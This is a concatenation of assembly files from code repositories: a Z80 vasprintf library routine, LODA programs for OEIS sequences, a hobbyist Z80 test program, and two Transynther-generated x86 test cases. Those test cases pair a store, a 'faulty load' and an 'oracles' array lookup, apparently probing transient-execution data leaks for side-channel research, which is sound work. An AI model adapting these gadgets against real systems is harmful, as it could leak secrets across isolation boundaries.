libsrc/_DEVELOPMENT/stdio/z80/asm_vasprintf.asm
meesokim/z88dk
5763c7778f19a71d936b3200374059d267066bb2
[ "ClArtistic" ]
null
null
null
libsrc/_DEVELOPMENT/stdio/z80/asm_vasprintf.asm
meesokim/z88dk
5763c7778f19a71d936b3200374059d267066bb2
[ "ClArtistic" ]
null
null
null
libsrc/_DEVELOPMENT/stdio/z80/asm_vasprintf.asm
meesokim/z88dk
5763c7778f19a71d936b3200374059d267066bb2
[ "ClArtistic" ]
null
null
null
; =============================================================== ; Jan 2014 ; =============================================================== ; ; int vasprintf(char **ptr, const char *format, void *arg) ; ; Similar to snprintf but attempts to dynamically allocate ; a buffer using malloc to store the output string. ; ; =============================================================== SECTION code_stdio PUBLIC asm_vasprintf EXTERN asm_vsnprintf, error_einval_mc, l_utod_hl, asm_malloc, error_mc asm_vasprintf: ; enter : de = char *format ; bc = void *arg ; de' = char **ptr ; ; exit : de = char *format (next unexamined char) ; ; success ; ; *ptr = char *s (address of allocated buffer) ; hl = strlen(s) ; hl' = char *s (address of terminating '\0' in allocated buffer) ; carry reset ; ; fail ; ; *ptr = 0 (if ptr != 0) ; hl = -1 ; carry set, errno as below ; ; enomem = insufficient memory for buffer ; erange = width or precision out of range ; einval = unknown printf conversion ; einval = ptr is NULL ; ; uses : all ; check for invalid ptr exx ld a,d or e ; ptr == 0 ? ld bc,0 ; initialization for vsnprintf exx jp z, error_einval_mc ; if ptr == NULL ; use vsnprintf to determine length of result push bc ; save arg push de ; save format call asm_vsnprintf ; hl = length of result jr c, error_2 ; if error inc hl ; add room for terminating '\0' call l_utod_hl ; saturate hl ; allocate a buffer push hl ; save length call asm_malloc ; hl = char *s jr c, error_3 ; if allocation failed ; no errors to here so can assume no more errors will occur ; hl = char *s ; hl' = char **ptr ; stack = arg, format, length push hl exx pop de ; de = char *s ld (hl),e inc hl ld (hl),d ; *ptr = s pop bc ; bc = length exx pop de ; de = format pop bc ; bc = void *arg ; de' = char *s ; bc' = length ; de = char *format ; bc = void *arg jp asm_vsnprintf error_3: pop de error_2: pop de pop bc exx ld (hl),0 inc hl ld (hl),0 ; *ptr = 0 exx jp error_mc
22.545455
80
0.436584
7d6c963e5823b4ccdf13986c5638816c33ea4298
687
asm
Assembly
programs/oeis/272/A272931.asm
jmorken/loda
99c09d2641e858b074f6344a352d13bc55601571
[ "Apache-2.0" ]
1
2021-03-15T11:38:20.000Z
2021-03-15T11:38:20.000Z
programs/oeis/272/A272931.asm
jmorken/loda
99c09d2641e858b074f6344a352d13bc55601571
[ "Apache-2.0" ]
null
null
null
programs/oeis/272/A272931.asm
jmorken/loda
99c09d2641e858b074f6344a352d13bc55601571
[ "Apache-2.0" ]
null
null
null
; A272931: a(n) = 2^(n+1)*cos(n*arctan(sqrt(15))). ; 2,1,-7,-11,17,61,-7,-251,-223,781,1673,-1451,-8143,-2339,30233,39589,-81343,-239699,85673,1044469,701777,-3476099,-6283207,7621189,32754017,2269261,-128746807,-137823851,377163377,928458781,-580194727,-4294029851,-1973250943,15202868461,23095872233,-37715601611,-130099090543,20763315901,541159678073,458106414469,-1706532297823,-3538957955699,3287171235593,17443003058389,4294318116017,-65477694117539,-82654966581607,179255809888549,509875676214977,-207147563339219,-2246650268199127,-1418060014842251,7568541057954257 mov $1,3 mov $2,3 lpb $0 sub $0,1 sub $2,$1 mul $2,4 add $1,$2 lpe add $1,$2 sub $1,3 div $1,3 add $1,1
42.9375
522
0.767103
36171ae974055d59baacb2e3efd0a01aef65bf1d
3,713
asm
Assembly
Transynther/x86/_processed/NONE/_xt_sm_/i7-8650U_0xd2.log_30_1690.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
9
2020-08-13T19:41:58.000Z
2022-03-30T12:22:51.000Z
Transynther/x86/_processed/NONE/_xt_sm_/i7-8650U_0xd2.log_30_1690.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
1
2021-04-29T06:29:35.000Z
2021-05-13T21:02:30.000Z
Transynther/x86/_processed/NONE/_xt_sm_/i7-8650U_0xd2.log_30_1690.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
3
2020-07-14T17:07:07.000Z
2022-03-21T01:12:22.000Z
.global s_prepare_buffers s_prepare_buffers: push %r15 push %r8 push %rax push %rbx push %rcx push %rdi push %rdx push %rsi lea addresses_A_ht+0x15684, %rcx nop nop nop nop nop sub %rax, %rax mov (%rcx), %edi nop cmp $36651, %rdx lea addresses_UC_ht+0x1a285, %rsi nop nop nop nop and $30916, %rax movups (%rsi), %xmm4 vpextrq $0, %xmm4, %rbx nop nop nop nop xor %rsi, %rsi lea addresses_normal_ht+0x1b47f, %rsi lea addresses_UC_ht+0x7985, %rdi and %r8, %r8 mov $125, %rcx rep movsw nop cmp %rax, %rax lea addresses_A_ht+0x13385, %rsi lea addresses_normal_ht+0x1bd05, %rdi clflush (%rdi) nop xor $28082, %r15 mov $49, %rcx rep movsq dec %rbx lea addresses_UC_ht+0x1eef9, %rsi lea addresses_WC_ht+0x2f05, %rdi nop nop nop add $16795, %rdx mov $42, %rcx rep movsq nop nop sub $56198, %rsi lea addresses_normal_ht+0xe535, %rsi lea addresses_A_ht+0x14281, %rdi nop nop nop nop nop dec %r15 mov $96, %rcx rep movsb nop and %rbx, %rbx lea addresses_UC_ht+0x14585, %rdx nop nop nop sub %rcx, %rcx and $0xffffffffffffffc0, %rdx movntdqa (%rdx), %xmm6 vpextrq $1, %xmm6, %rax sub $60752, %rbx pop %rsi pop %rdx pop %rdi pop %rcx pop %rbx pop %rax pop %r8 pop %r15 ret .global s_faulty_load s_faulty_load: push %r11 push %r14 push %r15 push %r8 push %rax push %rbx push %rcx // Store lea addresses_UC+0x195a5, %r15 nop sub %rax, %rax mov $0x5152535455565758, %r14 movq %r14, (%r15) nop nop cmp $15615, %r14 // Store lea addresses_UC+0x18785, %r14 nop nop nop sub %r11, %r11 mov $0x5152535455565758, %r8 movq %r8, %xmm4 movups %xmm4, (%r14) nop nop xor $47238, %r15 // Store lea addresses_US+0xbe85, %rbx inc %r8 mov $0x5152535455565758, %r14 movq %r14, %xmm1 vmovups %ymm1, (%rbx) nop nop sub %rcx, %rcx // Faulty Load lea addresses_UC+0x18785, %rcx clflush (%rcx) nop nop nop nop nop sub %rax, %rax mov (%rcx), %r14w lea oracles, %rcx and $0xff, %r14 shlq $12, %r14 mov (%rcx,%r14,1), %r14 pop %rcx pop %rbx pop %rax pop %r8 pop %r15 pop %r14 pop %r11 ret /* <gen_faulty_load> [REF] {'OP': 'LOAD', 'src': {'type': 'addresses_UC', 'size': 1, 'AVXalign': False, 'NT': False, 'congruent': 0, 'same': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_UC', 'size': 8, 'AVXalign': False, 'NT': False, 'congruent': 2, 'same': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_UC', 'size': 16, 'AVXalign': False, 'NT': False, 'congruent': 0, 'same': True}} {'OP': 'STOR', 'dst': {'type': 'addresses_US', 'size': 32, 'AVXalign': False, 'NT': False, 'congruent': 8, 'same': False}} [Faulty Load] {'OP': 'LOAD', 'src': {'type': 'addresses_UC', 'size': 2, 'AVXalign': False, 'NT': False, 'congruent': 0, 'same': True}} <gen_prepare_buffer> {'OP': 'LOAD', 'src': {'type': 'addresses_A_ht', 'size': 4, 'AVXalign': False, 'NT': False, 'congruent': 0, 'same': False}} {'OP': 'LOAD', 'src': {'type': 'addresses_UC_ht', 'size': 16, 'AVXalign': False, 'NT': False, 'congruent': 8, 'same': False}} {'OP': 'REPM', 'src': {'type': 'addresses_normal_ht', 'congruent': 0, 'same': False}, 'dst': {'type': 'addresses_UC_ht', 'congruent': 9, 'same': False}} {'OP': 'REPM', 'src': {'type': 'addresses_A_ht', 'congruent': 5, 'same': False}, 'dst': {'type': 'addresses_normal_ht', 'congruent': 7, 'same': False}} {'OP': 'REPM', 'src': {'type': 'addresses_UC_ht', 'congruent': 1, 'same': False}, 'dst': {'type': 'addresses_WC_ht', 'congruent': 7, 'same': False}} {'OP': 'REPM', 'src': {'type': 'addresses_normal_ht', 'congruent': 4, 'same': False}, 'dst': {'type': 'addresses_A_ht', 'congruent': 1, 'same': False}} {'OP': 'LOAD', 'src': {'type': 'addresses_UC_ht', 'size': 16, 'AVXalign': False, 'NT': True, 'congruent': 9, 'same': False}} {'58': 30} 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 */
20.977401
152
0.653919
8197f48479d77a51844810b0fb2554b7b3f7f350
192
asm
Assembly
libsrc/math/genmath/c/sccz80/init_floatpack2.asm
jpoikela/z88dk
7108b2d7e3a98a77de99b30c9a7c9199da9c75cb
[ "ClArtistic" ]
640
2017-01-14T23:33:45.000Z
2022-03-30T11:28:42.000Z
libsrc/math/genmath/c/sccz80/init_floatpack2.asm
jpoikela/z88dk
7108b2d7e3a98a77de99b30c9a7c9199da9c75cb
[ "ClArtistic" ]
1,600
2017-01-15T16:12:02.000Z
2022-03-31T12:11:12.000Z
libsrc/math/genmath/c/sccz80/init_floatpack2.asm
jpoikela/z88dk
7108b2d7e3a98a77de99b30c9a7c9199da9c75cb
[ "ClArtistic" ]
215
2017-01-17T10:43:03.000Z
2022-03-23T17:25:02.000Z
; ; $Id: init_floatpack2.asm,v 1.4 2016-07-01 22:35:52 dom Exp $ ; ; Dummy initialisation for machine tailored libraries SECTION code_fp PUBLIC init_floatpack .init_floatpack ret
17.454545
62
0.729167
f6348a73d38fbc9adb29af57bea14c7d439ef56e
414
asm
Assembly
programs/oeis/187/A187396.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
1
2021-03-15T11:38:20.000Z
2021-03-15T11:38:20.000Z
programs/oeis/187/A187396.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
null
null
null
programs/oeis/187/A187396.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
null
null
null
; A187396: Floor(s*n), where s=4-sqrt(10); complement of A187395. ; 1,2,3,4,5,6,8,9,10,11,12,13,15,16,17,18,19,20,22,23,24,25,26,27,29,30,31,32,33,34,36,37,38,39,40,41,43,44,45,46,47,48,49,51,52,53,54,55,56,58,59,60,61,62,63,65,66,67,68,69,70,72,73,74,75,76,77,79,80,81,82,83,84,86,87,88,89,90,91,92,94,95,96,97,98,99,101,102,103,104,105,106,108,109,110,111,112,113,115,116 add $0,1 mul $0,43 div $0,37 mov $1,$0
51.75
307
0.661836
fae8387dbcfab5c793379ebc5103c8b47f3fc785
2,777
asm
Assembly
programs/oeis/006/A006261.asm
jmorken/loda
99c09d2641e858b074f6344a352d13bc55601571
[ "Apache-2.0" ]
1
2021-03-15T11:38:20.000Z
2021-03-15T11:38:20.000Z
programs/oeis/006/A006261.asm
jmorken/loda
99c09d2641e858b074f6344a352d13bc55601571
[ "Apache-2.0" ]
null
null
null
programs/oeis/006/A006261.asm
jmorken/loda
99c09d2641e858b074f6344a352d13bc55601571
[ "Apache-2.0" ]
null
null
null
; A006261: a(n) = Sum_{k=0..5} C(n,k). ; 1,2,4,8,16,32,63,120,219,382,638,1024,1586,2380,3473,4944,6885,9402,12616,16664,21700,27896,35443,44552,55455,68406,83682,101584,122438,146596,174437,206368,242825,284274,331212,384168,443704,510416,584935,667928,760099,862190,974982,1099296,1235994,1385980,1550201,1729648,1925357,2138410,2369936,2621112,2893164,3187368,3505051,3847592,4216423,4613030,5038954,5495792,5985198,6508884,7068621,7666240,8303633,8982754,9705620,10474312,11290976,12157824,13077135,14051256,15082603,16173662,17326990,18545216,19831042,21187244,22616673,24122256,25706997,27373978,29126360,30967384,32900372,34928728,37055939,39285576,41621295,44066838,46626034,49302800,52101142,55025156,58079029,61267040,64593561,68063058,71680092,75449320,79375496,83463472,87718199,92144728,96748211,101533902,106507158,111673440,117038314,122607452,128386633,134381744,140598781,147043850,153723168,160643064,167809980,175230472,182911211,190858984,199080695,207583366,216374138,225460272,234849150,244548276,254565277,264907904,275584033,286601666,297968932,309694088,321785520,334251744,347101407,360343288,373986299,388039486,402512030,417413248,432752594,448539660,464784177,481496016,498685189,516361850,534536296,553218968,572420452,592151480,612422931,633245832,654631359,676590838,699135746,722277712,746028518,770400100,795404549,821054112,847361193,874338354,901998316,930353960,959418328,989204624,1019726215,1050996632,1083029571,1115838894,1149438630,1183842976,1219066298,1255123132,1292028185,1329796336,1368442637,1407982314,1448430768,1489803576,1532116492,1575385448,1619626555,1664856104,1711090567,1758346598,1806641034,1855990896,1906413390,1957925908,2010546029,2064291520,2119180337,2175230626,2232460724,2290889160,2350534656,2411416128,2473552687,2536963640,2601668491,2667686942,2735038894,2803744448,2873823906,2945297772,3018186753,3092511760,3168293909,3245554522,3324315128,3404597464,3486423476,3569815320,3654795363,3741386184,3829610575,3919491542,4011052306,4104316304,4199307190,4296048836,4394565333,4494880992,4597020345,4701008146,4806869372,4914629224,5024313128,5135946736,5249555927,5365166808,5482805715,5602499214,5724274102,5848157408,5974176394,6102358556,6232731625,6365323568,6500162589,6637277130,6776695872,6918447736,7062561884,7209067720,7357994891,7509373288,7663233047,7819604550 mov $14,$0 mov $16,$0 add $16,1 lpb $16 clr $0,14 mov $0,$14 sub $16,1 sub $0,$16 mov $11,$0 mov $13,$0 add $13,1 lpb $13 mov $0,$11 sub $13,1 sub $0,$13 mov $2,$0 trn $2,1 mov $9,$2 add $2,1 mov $4,1 trn $4,$0 mov $0,10 bin $9,3 add $9,$4 lpb $0 mov $0,$10 add $2,$9 lpe mov $1,$2 sub $1,1 add $12,$1 lpe add $15,$12 lpe mov $1,$15
71.205128
2,303
0.813108
7ec7852590a42c34128aec777e4df21435c9da72
589
asm
Assembly
oeis/060/A060820.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
11
2021-08-22T19:44:55.000Z
2022-03-20T16:47:57.000Z
oeis/060/A060820.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
9
2021-08-29T13:15:54.000Z
2022-03-09T19:52:31.000Z
oeis/060/A060820.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
3
2021-08-22T20:56:47.000Z
2021-09-29T06:26:12.000Z
; A060820: (2*n-1)^2 + (2*n)^2. ; 5,25,61,113,181,265,365,481,613,761,925,1105,1301,1513,1741,1985,2245,2521,2813,3121,3445,3785,4141,4513,4901,5305,5725,6161,6613,7081,7565,8065,8581,9113,9661,10225,10805,11401,12013,12641,13285,13945,14621,15313,16021,16745,17485,18241,19013,19801,20605,21425,22261,23113,23981,24865,25765,26681,27613,28561,29525,30505,31501,32513,33541,34585,35645,36721,37813,38921,40045,41185,42341,43513,44701,45905,47125,48361,49613,50881,52165,53465,54781,56113,57461,58825,60205,61601,63013,64441,65885 mov $1,8 mul $1,$0 add $1,12 mul $1,$0 add $1,5 mov $0,$1
58.9
497
0.764007
f917dde6ab2ef23d774288ef39049d4553d37bca
569
asm
Assembly
programs/oeis/024/A024537.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
null
null
null
programs/oeis/024/A024537.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
null
null
null
programs/oeis/024/A024537.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
null
null
null
; A024537: a(n) = floor( a(n-1)/(sqrt(2) - 1) ), with a(0) = 1. ; 1,2,4,9,21,50,120,289,697,1682,4060,9801,23661,57122,137904,332929,803761,1940450,4684660,11309769,27304197,65918162,159140520,384199201,927538921,2239277042,5406093004,13051463049,31509019101,76069501250,183648021600,443365544449,1070379110497,2584123765442,6238626641380,15061377048201,36361380737781,87784138523762,211929657785304,511643454094369,1235216565974041,2982076586042450,7199369738058940 add $0,1 mov $1,1 lpb $0,1 sub $0,1 add $3,$1 mov $2,$3 sub $3,1 add $3,$1 mov $1,$2 lpe
40.642857
402
0.766257
75e11c43bd9797ef62c8aa062efb5b3c3a70d40f
689
asm
Assembly
oeis/097/A097252.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
11
2021-08-22T19:44:55.000Z
2022-03-20T16:47:57.000Z
oeis/097/A097252.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
9
2021-08-29T13:15:54.000Z
2022-03-09T19:52:31.000Z
oeis/097/A097252.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
3
2021-08-22T20:56:47.000Z
2021-09-29T06:26:12.000Z
; A097252: Numbers whose set of base 6 digits is {0,5}. ; Submitted by Christian Krause ; 0,5,30,35,180,185,210,215,1080,1085,1110,1115,1260,1265,1290,1295,6480,6485,6510,6515,6660,6665,6690,6695,7560,7565,7590,7595,7740,7745,7770,7775,38880,38885,38910,38915,39060,39065,39090,39095,39960,39965,39990,39995,40140,40145,40170,40175,45360,45365,45390,45395,45540,45545,45570,45575,46440,46445,46470,46475,46620,46625,46650,46655,233280,233285,233310,233315,233460,233465,233490,233495,234360,234365,234390,234395,234540,234545,234570,234575,239760,239765,239790,239795,239940,239945,239970 mov $2,5 lpb $0 mov $3,$0 div $0,2 mod $3,2 mul $3,$2 add $1,$3 mul $2,6 lpe mov $0,$1
45.933333
500
0.760522
e92c4b01ed58ce2b8a462025b5572c845e76c683
7,603
asm
Assembly
Transynther/x86/_processed/NONE/_xt_sm_/i7-7700_9_0xca.log_21829_1340.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
9
2020-08-13T19:41:58.000Z
2022-03-30T12:22:51.000Z
Transynther/x86/_processed/NONE/_xt_sm_/i7-7700_9_0xca.log_21829_1340.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
1
2021-04-29T06:29:35.000Z
2021-05-13T21:02:30.000Z
Transynther/x86/_processed/NONE/_xt_sm_/i7-7700_9_0xca.log_21829_1340.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
3
2020-07-14T17:07:07.000Z
2022-03-21T01:12:22.000Z
.global s_prepare_buffers s_prepare_buffers: push %r10 push %r11 push %rax push %rbp push %rcx push %rdi push %rdx push %rsi lea addresses_WT_ht+0x16788, %rdi nop nop lfence movb (%rdi), %r10b nop nop nop sub $19699, %r11 lea addresses_D_ht+0x1b4c8, %rsi lea addresses_normal_ht+0x748, %rdi nop xor $45699, %rbp mov $90, %rcx rep movsq nop nop nop nop add $17997, %r10 lea addresses_UC_ht+0xedc8, %rcx nop nop nop inc %rdi movups (%rcx), %xmm7 vpextrq $1, %xmm7, %rbp and %rcx, %rcx lea addresses_A_ht+0x3de8, %r10 nop nop nop nop nop add $28685, %rdi mov (%r10), %si nop nop nop and %rcx, %rcx lea addresses_WC_ht+0x8348, %rcx xor %r11, %r11 mov $0x6162636465666768, %rbp movq %rbp, %xmm1 vmovups %ymm1, (%rcx) nop dec %rbp lea addresses_A_ht+0x191a2, %rsi lea addresses_WC_ht+0xd088, %rdi dec %rax mov $67, %rcx rep movsl nop nop nop nop nop and $10535, %rsi lea addresses_UC_ht+0x1a7c0, %rbp nop nop nop sub $13669, %rcx movw $0x6162, (%rbp) xor %rcx, %rcx lea addresses_D_ht+0xa7c8, %rsi nop nop nop add %rdi, %rdi and $0xffffffffffffffc0, %rsi vmovntdqa (%rsi), %ymm3 vextracti128 $1, %ymm3, %xmm3 vpextrq $0, %xmm3, %rbp nop nop nop nop nop xor %rax, %rax lea addresses_WT_ht+0x1eac8, %rax clflush (%rax) nop nop nop nop add %rcx, %rcx mov (%rax), %rbp nop nop nop nop nop xor %rcx, %rcx lea addresses_A_ht+0x1ac8, %rsi lea addresses_A_ht+0x70e8, %rdi nop nop xor $10790, %rdx mov $44, %rcx rep movsq nop nop xor %r10, %r10 lea addresses_D_ht+0x3008, %rsi lea addresses_D_ht+0x6188, %rdi nop xor %rdx, %rdx mov $76, %rcx rep movsw nop nop nop nop nop and $54511, %rcx lea addresses_normal_ht+0x106c8, %rsi lea addresses_WC_ht+0x358, %rdi nop nop add $18945, %rbp mov $16, %rcx rep movsl nop dec %r10 pop %rsi pop %rdx pop %rdi pop %rcx pop %rbp pop %rax pop %r11 pop %r10 ret .global s_faulty_load s_faulty_load: push %r10 push %r11 push %r13 push %r14 push %r15 push %rbx push %rcx // Store lea addresses_PSE+0x1cec8, %rcx inc %r15 mov $0x5152535455565758, %r10 movq %r10, %xmm7 movups %xmm7, (%rcx) nop dec %rcx // Store lea addresses_PSE+0x1cec8, %r15 nop cmp $26152, %r14 mov $0x5152535455565758, %rbx movq %rbx, %xmm4 movaps %xmm4, (%r15) nop nop nop inc %rcx // Faulty Load lea addresses_PSE+0x1cec8, %r11 nop nop nop cmp $43369, %rcx mov (%r11), %r15 lea oracles, %r11 and $0xff, %r15 shlq $12, %r15 mov (%r11,%r15,1), %r15 pop %rcx pop %rbx pop %r15 pop %r14 pop %r13 pop %r11 pop %r10 ret /* <gen_faulty_load> [REF] {'src': {'congruent': 0, 'AVXalign': False, 'same': False, 'size': 32, 'NT': False, 'type': 'addresses_PSE'}, 'OP': 'LOAD'} {'OP': 'STOR', 'dst': {'congruent': 0, 'AVXalign': False, 'same': True, 'size': 16, 'NT': False, 'type': 'addresses_PSE'}} {'OP': 'STOR', 'dst': {'congruent': 0, 'AVXalign': True, 'same': True, 'size': 16, 'NT': False, 'type': 'addresses_PSE'}} [Faulty Load] {'src': {'congruent': 0, 'AVXalign': False, 'same': True, 'size': 8, 'NT': False, 'type': 'addresses_PSE'}, 'OP': 'LOAD'} <gen_prepare_buffer> {'src': {'congruent': 6, 'AVXalign': False, 'same': False, 'size': 1, 'NT': False, 'type': 'addresses_WT_ht'}, 'OP': 'LOAD'} {'src': {'congruent': 9, 'same': True, 'type': 'addresses_D_ht'}, 'OP': 'REPM', 'dst': {'congruent': 7, 'same': False, 'type': 'addresses_normal_ht'}} {'src': {'congruent': 8, 'AVXalign': False, 'same': False, 'size': 16, 'NT': False, 'type': 'addresses_UC_ht'}, 'OP': 'LOAD'} {'src': {'congruent': 5, 'AVXalign': True, 'same': False, 'size': 2, 'NT': False, 'type': 'addresses_A_ht'}, 'OP': 'LOAD'} {'OP': 'STOR', 'dst': {'congruent': 7, 'AVXalign': False, 'same': False, 'size': 32, 'NT': False, 'type': 'addresses_WC_ht'}} {'src': {'congruent': 1, 'same': False, 'type': 'addresses_A_ht'}, 'OP': 'REPM', 'dst': {'congruent': 6, 'same': False, 'type': 'addresses_WC_ht'}} {'OP': 'STOR', 'dst': {'congruent': 2, 'AVXalign': False, 'same': False, 'size': 2, 'NT': False, 'type': 'addresses_UC_ht'}} {'src': {'congruent': 8, 'AVXalign': False, 'same': False, 'size': 32, 'NT': True, 'type': 'addresses_D_ht'}, 'OP': 'LOAD'} {'src': {'congruent': 7, 'AVXalign': False, 'same': False, 'size': 8, 'NT': False, 'type': 'addresses_WT_ht'}, 'OP': 'LOAD'} {'src': {'congruent': 7, 'same': False, 'type': 'addresses_A_ht'}, 'OP': 'REPM', 'dst': {'congruent': 1, 'same': False, 'type': 'addresses_A_ht'}} {'src': {'congruent': 4, 'same': True, 'type': 'addresses_D_ht'}, 'OP': 'REPM', 'dst': {'congruent': 2, 'same': False, 'type': 'addresses_D_ht'}} {'src': {'congruent': 10, 'same': False, 'type': 'addresses_normal_ht'}, 'OP': 'REPM', 'dst': {'congruent': 2, 'same': False, 'type': 'addresses_WC_ht'}} {'58': 21829} 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 */
34.402715
2,999
0.658556
140e8d220fac9949df02aa51bf90608af07abd31
2,011
asm
Assembly
asm/test2.asm
chriscamacho/YAZSOF
3a8ff5dcf25dcf149683adf109ac3096caa0a786
[ "MIT" ]
3
2019-12-02T07:39:04.000Z
2020-03-27T12:58:43.000Z
asm/test2.asm
chriscamacho/YAZSOF
3a8ff5dcf25dcf149683adf109ac3096caa0a786
[ "MIT" ]
null
null
null
asm/test2.asm
chriscamacho/YAZSOF
3a8ff5dcf25dcf149683adf109ac3096caa0a786
[ "MIT" ]
null
null
null
RAMTOP EQU 0x07ff ; last ram location LED EQU 0xffff ; LEDS TX EQU 0xfffe ; uart transmit byte BTN EQU 0xfffc ; hardware buttons VID EQU 0xfd00 ; video memory 20x15 RXTOP EQU 0xfffd ; ptr top rx ring buffer RXBUFF EQU 0xffe0 ; to 0xffef rx buffer ORG 0x0400 LD A,0 LD (LOWB),A LD (MEDB),A LD (LED),A ; clear counter (testing reset) LOOP: LD A,(LOWB) INC A LD (LOWB),A JR NZ, LOOP ; loop till least significant byte overflows LD A,(MEDB) INC A LD (MEDB),A JR NZ, LOOP ; both loops till middle significant byte overflows ; print a string LD A,(LED) ADD A,A LD H, 0 LD L, A LD DE, MSG ADD HL, DE ; address of message a LD A,(HL) INC HL LD H,(HL) LD L,A ; load that address into HL PLOOP: LD A,(HL) CP 0 JR Z, PDONE LD (TX),A BUSY: LD A,(TX) ; tx status (pausing while outputting) CP 1 JR Z, BUSY INC HL JR PLOOP PDONE: LD A,(LED) INC A LD (LED),A CP 0x08 JR NZ, LOOP LD A, 0 LD (LED), A LD A,'*' LD (TX),A ; if the LED's overflow output a '*' LD A,(BTN) CP 0 JP Z,doloop JP 0 doloop: JP LOOP mONE: defb 10 defm "One." defb 10,0 mTWO: defm "Two." defb 10,0 